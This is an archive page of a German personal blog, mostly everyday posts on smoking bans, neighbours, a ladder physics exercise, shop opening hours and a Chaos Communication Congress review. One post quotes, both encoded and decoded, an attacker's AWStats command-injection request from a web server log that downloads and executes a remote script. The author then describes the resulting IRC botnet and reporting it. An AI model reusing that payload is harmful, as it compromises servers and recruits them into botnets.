Archiv für die Kategorie ‘Real Life’

Rauchverbot

von MichiK am 15. Februar 2006 um 04:54 Uhr

Was haben Irland, Italien, Neuseeland, Norwegen, Schottland, Schweden und viele Bundesstaaten der USA sowie seit kurzem auch England gemeinsam?

Genau, dort darf in Gaststätten, Pubs usw. nicht mehr geraucht werden.

Ich will das hier auch!

Ich hasse verqualmte und verpestete Luft, die man in Scheiben schneiden und mit nach Hause nehmen kann. Ich hasse den anschließenden Gestank in Klamotten und Haaren. Ich hasse das Kratzen im Hals und das Jucken in den Augen sowie die Tatsache, dass das Bier in vergifteter Atmosphäre nicht mehr schmeckt.

Mein Onkel starb an Lungenkrebs. Er war jahrzehntelang starker Raucher. Auch Passivrauchen ist erwiesenermaßen schädlich.

Wo ist eigentlich Barcelona?

von MichiK am 13. Februar 2006 um 23:01 Uhr

Wenn man den Werbeartikeln der Firma Karmez, wie sie beispielsweise in meiner favorisierten Pizza- und Dönerbude hier im Ort zu finden sind, glauben will, liegt es auf halbem Weg zwischen dem Mittelmeer und der Biskaya. Wenn ich mich richtig erinnere, ist Barcelona aber eine Mittelmeerstadt…

Außerdem liegt laut dieser Firma Mailand an der Adria, Paris auf der halben Strecke zwischen Bordeaux und Lyon und Frankfurt am Main in Baden-Württemberg.

Zu allem Überfluss kommt dann noch dazu, dass sie nichtmal konsequent sind, sondern die Punkte im Flash-Intro der Webseite noch wieder leicht woanders platziert haben.

Das nächste Mal bitte in den Atlas schauen, bevor Punkte auf der Karte gemalt werden! ;)

Auf den Werbeartikeln ist übrigens “Good Appetite” groß geschrieben, während “guten appetit” vollständig in Kleinschreibung gesetzt ist…

Botnets sind nicht witzig

von Khark am 12. Februar 2006 um 21:39 Uhr

Mit einem kleinen Eintrag in der access.log meines Apachen fing alles an.

GET
/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp
%3bwget%20211%2e234%2e113%2e241%2fscripz
%3bchmod%20%2bx%20scripz%3b%2e%2fscripz;echo%20YYY;echo|

In ASCII dekodiert ergibt sie folgendes:

GET /awstats/awstats.pl?configdir=|echo;echo YYY;cd /tmp;wget 211.234.113.241/scripz;chmod +x scripz;./scripz;echo YYY;echo|

Irgendjemand versuchte da eine der zahlreichen AWStats Sicherheitslücken auszunutzen und irgendwas auf anfälligen Server auszuführen.
Da es Sonntag ist und ich sowieso nichts weiter vorhatte, guckt man sich die Datei “211.234.113.241/scripz” mal an.
Es ist ein kleines Bash-Skript, das 2 weitere Dateien zieht.
219.84.105.36.42/ping und 219.84.105.36.42/httpd.
Ping ist ein binary. Und da meine Code-Audit-Fähigkeiten bei Binaries komplett aufhören lassen wir es mal außer acht :D

httpd hingegen ist ein kleiner IRC-Client in Perl, der dafür sorgt das sich alle infizierten Clients in Undernet in einem Channel sammeln und sich mit einem “Hallo, hier bin ich.” melden.

In eben jenen Channel bin ich dann auch mal spontan gegangen und hatte eine nettes sinnloses Gespräch mit einem der 3 Betreiber des Botnets.

Zitat:
<xxx> the botnet is just something for fun :)
<xxx> nothing else
[...]
<xxx> i run the bots with the uid that the apache servere is started
<xxx> nothing more
[...]
[We are scanning...]
<xxx> mambo awstats and xmlrpc
<xxx> and other php bugs :P
<xxx> try to patch your server…

Tjojo.. Schon spannend so ein Ausflug in die Welt der krassen Hacker.
Und wie schön, das mein Apache noch nichtmal PHP geschweige den Perl kennt.
– Die Serverbetreiber sind informiert und ich hoffe sie lesen die Mail auch.

Update:
Der Serveroperator hat die Mail gelesen und sich ganz nett für den Tipp bedankt.
Laut seiner Aussage verfolgt er diese “Malware” schon seit Monaten, aber diesmal sei es das erste mal, das sich ein Channel der Malware im Undernet befindet.
Die Betreiber der infizierten Maschinen werden informiert und sie versuchen zu verhindern, das die Botnet-Betreiber nochmal das Undernet missbrauchen. (Was aber wohl sehr schwer werden dürfte..)

Kleiner Schraubenzieher?

von MichiK am 26. Januar 2006 um 06:27 Uhr

Gestern Abend klingelt es an der Tür. Ich mache auf, draußen steht ein Mann, um die 50, fällt sofort in die Kategorie “echter Sachse”, wohl einer meiner neuen Nachbarn. Das bestätigt sich, als er anfängt zu reden. Er fragt, ob ich “einen kleinen Schraubenzieher,” für ihn habe, “so für Lüsterklemmen, weil ich bin grad am Lampen anschließen hier und der, den ich hab, ist kaputtgegangen, wissen’se?” Warum drückt er sich so umständlich aus und fragt nicht einfach nach einem Phasenprüfer? Normale Schraubenzieher will man für Basteleien an potenziell spannungsführenden Teilen sowieso nicht verwenden.

Natürlich kriegt er einen – ich hab drei Stück davon. Mindestens. Mal schauen, ob er sein Versprechen gehalten hat, mir den in den Briefkasten zu werfen, wenn er fertig ist. Ich frage mich, warum nicht mal Leute nach dem exotischen Werkzeug fragen. Wie wäre es mit Torx-Bits? Oder Inbus-Schlüsseln in sieben Größen? Oder Isolier- und Dichtungsband? Ich habe mir den Ruf, in der Hinsicht verdammt gut ausgestattet zu sein, schließlich schwer erarbeitet… Mein Vater ist passionierter Heimwerker und meint, dass ich ohne Werkzeug nicht leben kann. Also hat er mir eine schätzungsweise 15 kg schwere Werkzeugkiste mitgegeben, als ich ausgezogen bin.

Was auch irgendwie schade ist: Nie fragt eine weibliche, attraktive Nachbarin im passenden Alter, ob ich ihr mal eben bei $handweklicher_Tätigkeit helfen kann…

Die Wasserflasche

von MichiK am 22. Januar 2006 um 22:13 Uhr

Ich habe eine Wasserflasche im Kofferraum meines Autos, für den Fall, dass mein Kühlkreislauf leckt oder die Scheibenwaschanlage unterwegs leer ist. Nun ist es draußen wirklich kalt, nämlich schon weit unter -10° und es wird im Laufe der Nacht wohl noch kälter (vermutlich bis zu -20°), also habe ich die Flasche mal aus dem Auto geholt.

Die ist mittlerweile zum massiven Eisblock gefroren und bevor die mir in ein paar Tagen, wenn es wärmer wird, im Kofferraum ausläuft, weil sie sicherlich irgendwo schon gebrochen ist, hab ich sie mal hier in die Bude gestellt zum Auftauen.

Ein sehr interessanter Effekt: Draußen fühlte sie sich nicht sonderlich kalt an. Hier drinnen, wo sie schon ein paar Grad wärmer ist, aber dafür voll mit Kondenswasser, tut das Anfassen weh.

Beweis für die Bielefeldverschwörung gefunden

von Khark am 21. Januar 2006 um 19:54 Uhr

Bielefeld existiert! Sie wollen zwar, das wir denken es gäbe Bielefeld nicht – aber Sie haben die Rechnung ohne die Amish Geeks gemacht.
Einer von uns hat sich in einer halsbrecherischen und hochriskanten Aktion (Schonmal A2 gefahren wenn nur Rentner unterwegs sind?) in den inneren Sicherheitsring rund um die Innenstadt geschmuggelt. Dort waren wir sogar in der Lage den eindeutigen Beweis für die Existenz von Bielefeld zu bekommen.
– Einen Stadtplan.

Wieso man diesen Stadtplan nur im inneren Sicherheitsring bekommt wurde mir klar als ich ihn sorgsam und gewissenhaft studierte um ein Internetcafe zu finden in dem man auch seinen Laptop anschließen kann.
Den in eben jenem Stadtplan, ist der Sitz der Bielefelder Desinformationsanstalt ausgewiesen. Gleich neben der Heeper Straße.

Bild bis zur Klärung der Rechtslage mit der G.E.K.A entfernt.

Und bevor Sie die Möglichkeit haben mich zu töten, veröffentliche ich diese Informationen weltweit um so mein Leben zu retten.
– Funktioniert bei Serenity/Hackers und sonstwo doch auch.

Leute gibts …

von MichiK am 21. Januar 2006 um 18:19 Uhr

… die lachen an einem Tag noch über ihren Opa, der ihnen im Winter, wenn die Straßen spiegelglatt sind, einem Eimer Sand mitgibt, wenn sie sich sein Auto ausleihen. Und am nächsten Tag legen sie sich dann bei Glatteis mit dem Fahrrad gepflegt auf die Fresse.

… die stellen sich an einem regnerischen Tag mit mehreren Zentimeter tiefen Pfützen auf der Straße direkt an den Straßenrand (der Bürgersteig ist ca. 4 Meter breit) und fluchen dann über die dämlichen Autofahrer, die nicht aufpassen und sie nassspritzen.

… die glauben, dass die Warnblinkanlage Park- und Halteverbote jeglicher Art (vor und auf Fußgängerüberwegen, wenige Meter vor Ampeln und Bahnübergängen, in zweiter und dritter Reihe, auf Fahrbahnen mit Richtungspfeilen, und nicht zuletzt direkt unter einem Halteverbotsschild) ohne Probleme einfach außer Kraft setzt.

… die streuen den Gehweg vor ihrem Haus auch bei fieser Schneeglätte mit Sand, der dann Fußgängern trügerische Sicherheit gibt, weil er im antauenden Schnee versinkt, der dann anschließend nachts wieder überfriert und am nächsten Morgen glatt wie eine Eisbahn ist, aber gut gestreut aussieht.

Die Sache mit der Leiter

von MichiK am 18. Januar 2006 um 11:59 Uhr

Ich soll als Übungsaufgabe ausrechnen, wie stark die Reibung zwischen Fußboden und Leiter sein muss, wenn man eine Leiter mit einem bestimmten Winkel an eine Wand lehnt. (\alpha sei in diesem Fall der Winkel zwischen Leiter und Fußboden.) Nachdem sich ein Haufen Zeug wegkürzen lässt, komme ich dabei auf folgende Bedingung für den Reibungskoeffizienten \mu, damit die Leiter stehen bleibt und nicht zu rutschen beginnt:

\mu > \frac{\cos \alpha}{\sin \alpha}

Oder für normale Menschen:

Das sieht ja schonmal recht nett aus. Plottet man cos x / sin x im Bereich [0,π/2)], sieht man eine Kurve, die aus dem Unendlichen kommend nach und nach etwas flacher wird und dann bei π/2 die y-Achse schneidet:

Dies entspricht ja auch den Erfahrungen aus der Realität: Je steiler man eine Leiter an eine Wand lehnt, desto stabiler steht sie. Stellt man sie zu flach hin, rutscht sie weg. Stellt man sie exakt senkrecht, hat man eher das Problem, dass sie oben von der Wand wegkippt, aber ganz sicher wird sie nicht unten anfangen, zu rutschen.

Der interessante Teil versteckt sich erst im zweiten Teil der Aufgabe: Ein Mann klettert die Leiter hinauf. Was passiert? Meine Antwort: Nichts. Alles bleibt, wie es ist. Logisch oder nicht? Ich denke, ja:

Das ist eine Frage des Drehmoments. Vereinfacht erklärt: Verantwortlich dafür, dass die Leiter rutscht, ist eine Kraft, die am oberen Ende der Leiter angreift, die die Leiter in die horizontale Lage drehen will. Diese Kraft kann ein bestimmtes Drehmoment ausüben, abhängig vom Winkel, mit dem die Leiter an der Wand lehnt und abhängig von der Lage des Schwerpunktes. Je weiter oben der Schwerpunkt liegt, desto stärker ist diese Kraft, aber desto geringer ist auch die Entfernung vom Schwerpunkt (geringe Entfernung bei gleicher Kraft => kleines Drehmoment). Auf der anderen Seite hat man eine Reibungskraft, die ebenfalls ein vom Winkel und von der Stärke der Kraft abhängiges Drehmoment ausüben kann. Je weiter unten der Schwerpunkt liegt, desto stärker ist auch die Kraft, aber desto geringer auch die Entfernung zum Schwerpunkt. Schreit doch gradezu danach, als ob sich da was gegenseitig ausgleicht…

Der Mann, der auf die Leiter steigt, tut ja nichts anderes, als den Schwerpunkt zu verlagern. Die Masse ist in dem Fall egal, die kürzt sich so oder so raus.

Hat jemand eine bessere Idee oder zumindest irgendwas an meiner Theorie auszusetzen? Ich bin mir nicht sicher und hab das komische Gefühl, dass meine These wirklich stimmen könnte… ;)

Überwachungs-Overkill und Alternativen

von MichiK am 16. Januar 2006 um 02:21 Uhr

Auf dem Dach einer Tankstelle hier in der Stadt befinden sich schlappe 10 (in Worten: Zehn!) CCTV-Kameras, die in Richtung der Zapfsäulen gerichtet sind – und vermutlich noch einige mehr, die man auf den ersten Blick beim Vorbeifahren nicht sieht. Ich frage mich da nach dem Sinn…

Ja, ich verstehe, dass die Tankstellenbetreiber es für nötig erachten, Videoüberwachung durchzuführen. Ich finde es zwar nicht gut, aber verstehen kann ich es. Jeder könnte sonst hinfahren, volltanken und wegfahren. Wenn ein Komplize gleichzeitig ins Kassenhaus geht und den Kassierer ablenkt, hat der auch kaum eine Chance, sich das Kennzeichen des Benzindiebes rechtzeitig zu merken. Da macht eine Kamera schon Sinn. Aber 10 Stück? Eine einzige, an der alle Autos vorbeifahren, würde doch genügen? Na gut, genehmigen wir auch eine zweite, auf der man erkennen kann, wie jemand tankt, einsteigt und wegfährt. Aber wozu braucht man direkt so viele…? Kann mir das jemand sinnvoll erklären?

Es gibt übrigens auch Systeme, wie man ganz ohne Kameraüberwachung auskommen könnte. 24-Stunden-SB-Tankstellen machen das schon so: Bezahlung per Vorkasse! Erst zahlt man einen bestimmten Betrag ein (z.B. mit Geld- oder EC-Karte), entsprechend kann man dann tanken. Dies würde Benzinklau recht effektiv verhindern bzw. zumindest die Möglichkeiten dazu stark eingrenzen. Als netten Nebeneffekt hat man dann gleich noch das Kassenpersonal wegrationalisiert. Ja – es würde auch Probleme geben: Wie macht man das mit der Bezahlung, wenn man mehr Geld gebucht hat, als man Benzin tanken kann? Bei Barzahlung geht das ja noch recht einfach – man steckt x Euro rein und wenn man die Zapfpistole wieder einhängt, gibts das nicht verbrauchte Guthaben als Wechselgeld. Bei Geldkarten-Zahlung ginge das auch noch: Guthaben der Karte abfragen und die Karte mechanisch sperren. Tanken maximal bis zum Ende des Guthabens erlauben, danach entsprechenden Betrag abbuchen, der verbraucht wurde, Karte wieder entsperren, fertig. Geht das bei EC-Cash auch? Gibt es entsprechende Funktionen, um den Kontostand abzufragen, bevor man eine Buchung durchführt? Gibt es dafür sinnvolles Error Handling?

Gender-Change sind bäh

von Khark am 14. Januar 2006 um 13:48 Uhr

Gestern ein 5m KVM-Kabel gekauft, damit ich den KVM-Switch auf meinen Schreibtischen stellen kann und Hummel (das ist der Rechnername) trotzdem noch über diesen bedient werden kann.
Eine Umstellung meiner PCs bedingt durch den neuen 19″ TFT hatte dies erforderlich gemacht.

Leider hab ich gestern nicht darauf geachtet, das in dem Beutel ein normales 5m VGA-Verlängerungsbabel lag. (Eine Seite: Papa, andere Seite Mutter). Die PS2-Anschlüsse sind auf beiden Seiten “Papa”.
Somit lag für das VGA-Kabel ein Gender-Changer dabei.

Eben jener Gender-Changer bewirkte, das mein Bild unscharf war, mein Mauszeiger 4 Schatten hinter sich her zog (der 1. Grün, 2. Schwarz, 3. Grau und der 4. dann Dunkelblau) sowie mein Hintergrundbild leichte grüne Streifen hatte.
– Obwohl es nur aus den Farben Schwarz, Weiß und Grau besteht..

Klasse.. –> Umtauschen.

Kiosk

von MichiK am 12. Januar 2006 um 12:16 Uhr

Früher nannte man diese kleinen Läden, die Alkohol, Tabakwaren und Zeitschriften verkaufen “Kiosk” oder so. Heute heißen sie beispielsweise “Tabak & Lottoshop” (Ja, ohne den eigentlich notwendigen “-” nach “Tabak”. Mal davon abgesehen, dass der Anglizismus hässlich klingt…) oder “Frank’s Miniladen” (Ja, mit Deppenapostroph.).

Ist mir nur grade mal wieder aufgefallen…

Als arbeitender Mensch hat man in Deutschland verschissen!

von Khark am 9. Januar 2006 um 18:12 Uhr

Oder wie darf ich das verstehen, wenn die Öffnungszeiten von wichtigen Geschäften (Bank, Post, etc.) und Behörden in etwa so aussehen:
Montag, Dienstag: 9:00Uhr – 12:30Uhr, 14:00Uhr – 17:30Uhr
Mittwoch: Geschlossen
Donnerstag, Freitag: 9:00Uhr – 12:30Uhr, 14:00Uhr – 17:00Uhr

Was sollen bitte schön Menschen tun, die von 9Uhr bis 17Uhr arbeiten und ca. 35min für den Heimweg brauchen?
Oder Menschen die noch ärmer dran sind als ich und von 7Uhr bis 19Uhr arbeiten müssen und im Monat weniger verdienen wie ich als Azubi im 1. Lehrjahr!?
Wir sind EINE Gesellschaft. Ich arbeite, damit andere Computer benutzen können. Ebenso arbeiten andere für mich, damit ich im Supermarkt an der Fleischtheke meine Wurst kaufen kann und per Post den kaputten Server wegschicken kann.
Ist es da zuviel verlangt zu erwarten, das mir die Ladenöffnungszeiten ermöglichen neben meiner Arbeit auch noch sowas wie ein Privatleben zu führen und nach Feierabend private Angelegenheit erledigen zu können?
SOLL ICH MIR JEDESMAL EINEN TAG URLAUB NEHMEN WENN ICH EINKAUFEN GEHEN WILL?

Klar hat die Postbeamtin auch ein Recht auf ein Privatleben.
– Nur was spricht dagegen 2 Postbeamtinen einzustellen? Eine arbeitet morgens – nachmittags, die andere nachmittags – nachts.
Wenn man noch eine 3. einstellt, kann man sogar 24Stunden am Tag geöffnet haben und jeder muss nur 8 Stunden arbeiten.
Nur keiner will Nachts arbeiten.. Und woran liegt das?
Weil wir immer noch denken der Tag ist für die Aktivität und die Nacht zum Schlafen und Ficken.
Und Leute wie ich, die sich einfach denken: Wenn ich wach bin, bin ich wach, und um welche Uhrzeit ich was machen will, das bestimme immer noch ich – die fallen dann eben durchs Raster.

Ich arbeite, ich bringe Geld ein (dem Staat (indirekt durch Rentenversicherung) und begrenzt – da Azubi – auch meinem Chef).
Ebenso will ich dieses auch ausgeben. Aber irgendwie wird mir das nicht ermöglicht. Immer wenn ich irgendwo einkaufen gehen will, stehe ich vor verschlossenen Türen.
– Da wundert es mich nicht, wenn ich 90% meines Gehalts in Onlineshops von Amazon und Reichelt lasse. Soll der Computerladen um die Ecke doch zumachen, juckt mich nicht.
Ich habe jedenfalls keinen Bock mich am Wochenende in ein Meer von monotonen, im Gleichschritt konsumierender Berufstätiger zu übergeben. Am Wochenende habe ich besseres vor. Freunde besuchen, ins Kino gehen, Inliner fahren oder meine Computerprojekte vorantreiben.
Da muss ich mir überfüllte Shoppingcenter mit Deckenschallbespassung und dem Aerobic-Kurs 17c des SV Winkelmühle, der im Erdgeschoss im Aurarium sein Down-Syndrom auslebt echt nicht antun.

Generell bin ich dafür, das man die Ladenöffnungszeiten ganz abschafft. Und wenn dies aufgrund von beschissenen Gewerkschaften, die immer nur fordern, ihre Mitglieder aber nie anspornen mal mehr zu tun, nicht möglich ist, dann sollen sich die Öffnungszeiten der Läden wenigstens nach Art und Weise des Betriebes/Gewerbes/was-auch-immer richten.
Niemand käme auf die Idee eine Disko um 17:30 abzuschließen.
Bei Postämtern ist dies anscheinend selbstverständlich. Nur wer sagt bitte schön, das es nur Leute gibt die Tagsüber ihre Pakete loswerden wollen?
– Unsere Gesellschaft ist zu unflexibel und denkt in Strukturen die 60 und mehr Jahre alt sind PUNKT

Oder anders forumliert:
In Deutschland heult jeder, es wird zuwenig konsumiert, der Einzelhandel stirbt aus, usw. Tjo… Hmm..
Wie soll ich bitte schön konsumieren, wenn ich immer vor verschlossenen Türen stehe?

22C3 Congress Review

von Khark am 1. Januar 2006 um 01:47 Uhr

Da ich mittlerweile nun schon von versch. Leuten gefragt wurde, wie mir der Congress den so gefallen hat, gebe ich hier mal ein kleines Review ab.

Angekommen bin ich am 26. Dezember gegen 18Uhr. Gerade zu dem Zeitpunkt als die Kassen aufmachten und alle Leute sich in die Schlange stellen mussten. Da man aber nicht draußen im kalten Schneeregen stehen wollte, drängelten sich alle Leute in die 15m Schlange die noch im BCC war. Als ich dann zwischen den Stellwänden durch wollte, um mich an der 2. Schlange anzustellen, die aus Leuten bestand die schon vorher im BCC waren und die nach innen verlief wurde ich ziemlich hart und barsch von einer mir unbekannten männlichen Person zurückgeschubst.
– Was echt klasse ist, wenn man 10Kilo auf dem Rücken, 15 Kilo in der Hand und einen Schlafsack über der Schulter hat, zum Glück bin ich nicht rückwärts auf den Boden geknallt. Dies wäre locker ein Sachschaden von 1.000-2.000 Euro gewesen..
Anyway.. Meine Begründung, das es hier etwas eng ist und man die Schlange doch auch nach drinnen laufen lassen könnte wurde mit der Begründung, das es nur noch 20min dauert abgelehnt.
40min später oder so hatte ich dann auch mein Ticket. Aus der Schlange hatte ich schon gesehen, das fu und s0krates am Infotresen sitzen. Also bin ich gleich dorthin. U.a. um mich zu erkundigen als was für ein Engel ich mich den in der Himmelsverwaltung anmelden muss, um am Infotresen zu landen. In den Jahren zuvor gab es die Auswahlmöglichkeit “Infotresen”. Diese gab es dieses Jahr nicht und Nachfragen im IRC wurden bis zu meiner Abfahrt nicht beantwortet.

Empfangen wurde ich dann von s0krates mit den Worten: “Hey Khark, du willst doch sicherlich wieder am Infotresen sitzen, oder? Komm mal hier rum und setz dich hin.”
– Gut. Thema erledigt, somit verbrachte ich die nächsten 4 Tage größtenteils am Infotresen.
Abends habe ich dann noch irgendwann telmich, moijven, tcpdumb und ettercat getroffen. Bummba ist auch irgendwann eingetrudelt und fu, ssc und andere habe ich schon vorher getroffen.
Leider kam smash dieses Jahr nicht, der immer die schönsten Stories am Infotresen erzählt hat :(

Am Tag 1 interessierten mich keine Vorträge so das ich nur ab und zu mal etwas über den Congress schlenderte und ansonsten am Infotresen saß.
Der Satz “Nein, Quittungen gibt es heute noch nicht, da wir die Formulare noch nicht haben.” wurde zu meiner Standardantwort.
Ansonsten war es das übliche.. Leute die nicht checken, das sich der Fahrplan auch während des Congresses ändert und einige Vorträge kurzfristig ausgefallen sind. Leute die ihr Badges (Eintrittskarten) verloren haben und keinen Namen darauf geschrieben habe und zum Teil uneinsichtig waren, das sie nun nocheinmal eine neue Eintrittskarten kaufen mussten oder einfach nur so interessante Herausforderungen wie:
Fährte nachts noch eine U-Bahn nach $Aussenbereich_von_Berlin.
Erwähnbar war noch der Mensch der wohl von Google kam und den ich überreden wollte, mir seine Polyester Jacke mit Google-Aufstickerei gegen eine Quittung zu überlassen.
Stattdessen leerte er seinen Rucksack auf unserem Infotresen, was uns Infotresenengeln etliche Google-Kugelschreiber, T-Shirts (nur größe L) und Google-Blinkedinger bescherrte.
Daizy hat sich zumindest gefreut und konnte wieder Blinken-Daizy spielen :D

Irgendwann ging ich jedenfalls dazu über Bookmarks zu bvg.de, dem Fahrplan, des Congress-Wikis, des Congress-Weblog und dem eventphone.de Telefonbuch in meine Symbolleiste aufzunehmen was meine Arbeit enorm vereinfachte.
Irgendwann fuhr ich dann mit ssc im Taxi zu tecos Wohnung um dort zu pennen.
Frühstück und lecker Kaffee gab es dann auch noch von seiner Mutter.

Am Tag 2 gab es dann endlich Quittungen und selbige auszustellen war meine Hauptaufgabe.
Zudem war ich abends im Lyrical I Vortrag und danach im Capture the flag.
ssc und codec (beide Hackerhippie) waren unter den 5 Gewinnern des Lyrical I Vortrages.
– Mein Antennenreim wurde nichtmal vorgelesen :(
Von abends bis morgens 6 Uhr war ich im Capture the flag. Meine Hauptaufgabe war das Team-Catering (Mate und Essen heranschaffen) und Exploit ergoogeln sowie die Bespassung von moijven und ettercat (was mir eher weniger gelang..)
Fazit: Capture the flag war mega geil. Erst recht als wir durch einen Sicherheitslücke im distcomp-Dienst plötzlich eine Root-Shell auf dem Server von Team “HacktoLeeter” hatten, die selbigen Dienst dummerweise als Root gestartet hatten :D
– Das aussperren ihrer User in der SSH-Config, sowie setzen eines Boot-PWs kostete ihnen dann auch den Sieg. Vorher waren sie die unangefochteten Vorreiter. Danach tummelten sie sich höchstens noch in den Regionen von Platz 5-3.
Was mich aber vielmehr gewundert hatte, war das das Team in nur knapp 45min bis 1Stunde seinen Rechner wieder flott hatte. Ich hätte noch nichtmal gewußt, wie ich da hätte ansetzen sollte. *argl*

Team !eof, also das Team indem ich war, wurde leider letzter.. Die Gründe waren vielschichtig..
Zum einen haben wir viel zu viel Zeit investiert um den Hostcomputer auf dem die VMWare mit dem Debianimage lief zu sichern (der Hostrechner wurde kein einziges mal ernsthaft angegriffen, geschweige den gescannt) und zum anderen haben wir uns durch einen blöden Fehler nach dem Restart selbst mit RSBAC ausgesperrt (vergessen ein PW für Root zu setzen ;D) was uns dann auch knapp 45min kostete, in der alle Dienste down waren und wir 0 Punkte gemacht haben.
Dann war da noch, das wir die Sicherheitslücke im Passworder-Dienst nicht gefunden haben, mit denen die anderen Teams einen großteil ihrer Punkte gemacht haben.
Naja.. Gestartet als 5. von 6 Teams, dann lange Zeit auf dem 3. Platz mit guten Chancen auf den 2. Platz, bis irgendwas passiert ist, wieso wir dann wieder auf dem 5 Platz waren.
In der Endzusammenrechnung sind wir dann knapp auf dem 6 Platz gelandet (0,5% weniger als das Team auf Platz 5 oder so).

Für den nächsten Congress habe ich mir vorgenommen aktiv mitzuwirken im Team, was bedeutet, das ich mich auf irgendwas spezialisieren muss.. Mal gucken was..

An Tag 3 war erstmal schlafen von 7Uhr bis 15Uhr in der Turnhalle angesagt, da es in dieser Zeit aber keinen Vortrag gab der mich interessierte war das halb so wild.
Um 19Uhr war dann der Vortrag über das Hosten eines CTF-Wettbewerbs mit anschließender Siegerehrung.
Danach gab es dann noch extrem leckeres Essen für die Engel im Engelraum gesponsort vom CCC und hergestellt von Gastropo. Es war wirklich lecker. So eine Art warmes Buffet mit Teigtaschen und Schweinefleisch-Spießen mit Honig. *mjam*
Nach dem Essen (oder davor??) haben ich und fu uns das aufblasbare Plastiksofa vom Infotresen geschnappt und uns neben das Public DECT-Telefon gesetzt das dem Infotresen gegenüber stand.
Dann haben wir wahllos irgendwelche Leute irgendwohin geschickt.

Situation: sven_l steht mit anderen am Infotresen und unterhält sich.
fu ruft sven_l an: Ja.. Du musst mal ganz schnell ins NOC. Da ist irgendwas abgebrannt und die meinten zu bist dafür zuständig.
Sekunden später rennt sven_l die Treppe zu Ebene C hinauf und Richtung NOC-Treppenaufgang.

Unsere größe Leistung war das Social engineeren von mehreren Engeln, die dann den 22C3-Schriftzug aus den Duplosteinen in der Art&Beauty Area gebaut haben.
fu ruft im Engelraum an: Ja hey.. hier ist der Thomas von Art&Beauty. Habt ihr ein paar Engel über, die uns aus den Duplosteinen den 22C3-Schrifzug bauen können??
Engelraum: Öhm ja. Ich schick mal ein paar hoch.
1Stunden später kam ein Engel zu mir und fu an den Infotresen und fragte nach einem Drucker. Da wir dieses Jahr am Infotresen keinen hatten, fragten wir immer erst wozu er benötigt wird, da wir die Leute dann je nach Wichtigkeit an die Projektleitung verweisen konnten.
Die Antwort des Engels lautete wie folgt:
Ja wir sollen aus den Bausteinen bei Art&Beauty das 22C3-Logo bauen. Da die Steine aber eine andere Höhe und Breite als das Logo haben, wollten wir das auf einem Raster mit Duplosteinen drucken, so das wir das nur nachbauen können. Wir haben jetzt schon jemanden gefunden, der uns das Logo in PostScript auf einen Raster gebastelt und abgespeichert hat. Nun brauchen wir nur noch einen Drucker..
Sehr geil.. Nach 1-2 Stunden konnte man dann übrigens das hier bewundern.

Ein paar Stunden später ging es dann wieder mit Taxi und ssc in Richtung Wohnug von teco um dort zu pennen. Am morgen von Tag 4 (30. Dezember) machte ich mich dann spontan Richtung Ostbahnhof auf und trat die Rückreise an. Irgendwie überkam mich ein Gefühl spontaner Unlust sowie der Gewissheit, das es keinen Vortrag mehr gibt, der mich interessiert und ich in spätestens 6 Stunden eh wieder meine Sachen packen müsste. Also kann man auch gleich fahren..

Alles in allem ein netter Congress der aber gegenüber den vorherigen in einigen Punkten stark nachgelassen hat.
Die Bitte im Gebäude nicht zu rauchen fand ich richtig gut.
Was mir nicht gefallen hat, was das extrem kleine Hackcenter und die viel zu große Lounge neben selbigen.. Die Sofas könnte man problemlos in Ebene B (Erdgeschoß) aufstellen. Außer dem Infotressen, FoeBud-/Wauland und Bücherstand, sowie Toiletten und Kassen ist dort nichts los. Nur in den 10min wenn die Vorträge in Saal 2 und 3 enden/beginnen herrscht einigermaßen Verkehr.
In den Jahren zuvor konnte man Tage damit verbringen einfach die Leute im Hackcenter anzusprechen und zu fragen: “Was tust du da? Sieht interessant aus, magst du es mir erklären?” Dieses Jahr war fasst gar nichts davon.
Die Häcksen-Area war auch irgendwie nicht existent, gesehen hab ich wissentlich keine einzige. Die Dance Dance Revolution Ecke bestand aus 2 Spielpads mit einem Laptop + Beamer. Letztes Jahr hatten die wenigstens 4 Matten sowie einigermaßen Platz und waren strategisch günstig im Durchgangsbereich zwischen Hackcenter hinterer Bereich und Hackcenter vorderer Bereich platziert, was ihnen etlichen Zulauf bescherrte.

Die Lockpicker und Amateuerfunker hat man weniger bis gar nicht wahrgenommen. Ob die Amateurfunker da waren, weiß ich bis heute nicht – habe aber auch nicht aktiv nach ihnen gesucht. Die Lockpicker entdeckte ich mehr durch Zufall im Art&Beauty Bereich. Dort wo ich auch den 3D LED-Kubus entdeckte auf dem man auch Pong spielen konnte.
– Sehr genial. Leider nur schlecht bespielbar, da alle LEDs rot sind und man schlecht seinen Schläger an die richtige Stelle positionieren kann. Aber geil aussehen tut es trotzdem.

Ansonsten war mir das ganze Vortragsprogramm zu Bürgerrechtslastig. EU-Vorratsdatenspeicherung hier, CCTV-Überwachung dort, eingeschränkte Bürgerrechte im Saal nebenan.
Und was ist mir so tollen Voträgen wie “IPv6 for dummies” oder “Practical Linux hacking for Newbies”?
Also so etwas mehr technisch mit Beispielen zum mitmachen – aber trotzdem noch als Vortrag.
Z.B. wie der 21C3 Vortrag über GPG.

Naja, nächstes Jahr werde ich wohl wieder da sein. Mal gucken.

Meine Zeitplanung ist meine Zeitplanung. Nur meine!

von MichiK am 30. Dezember 2005 um 18:07 Uhr

Irgendwann vorhin, ich liege im Bett, schlafe noch halb, meine Mutter betritt den Raum und unternimmt den verzweifelten, zum Scheitern verurteilten Versuch, mich zu wecken. Dabei fallen auch die Worte “$Nachbar hat Probleme mit seinem DVD-Player, da kannst du ihm doch sicher bei helfen. Ich hab ihm gesagt, dass du nachher mal bei ihm vorbei kommst…” oder so ähnlich.

Jetzt grade bin ich aufgestanden und habe jede Minute des restlichen Tages bereits verplant (Duschen, Essen, Auto ausgraben, zu $Kumpel fahren, danach zu $Disco fahren…), da kommt meine Mutter wieder an… “Ah, du bist tatsächlich aufgestanden, aber geh gefälligst mal duschen, $Nachbar wartet!”

Ich weiß ja nicht, ob sie das vielleicht tut, um mich zu ärgern, aber solche Aktionen hab ich ihr durch strenge Erziehung eigentlich schon vor diversen Jahren abgewöhnt. Das heißt “Hast du irgendwann mal Zeit?” und nicht “Ich hab gesagt, dass du nachher mal vorbei kommst…”

*NARF*

P.S.: Verschärft wird der Fall dann noch dadurch, dass $Nachbar ein DAU erster Klasse ist, der nun wirklich keine Ahnung hat und auch nach der dritten Eklärung nicht raffen wird, dass der Knopf hier zum Einschalten des DVD-Players ist und dass ich ihm nicht erklären kann, wo auf dem Bildschirm der Start-Knopf beim DVD-Abspielen ist, weil das Menü von DVD zu DVD anders ist…

22C3 – Tag 0

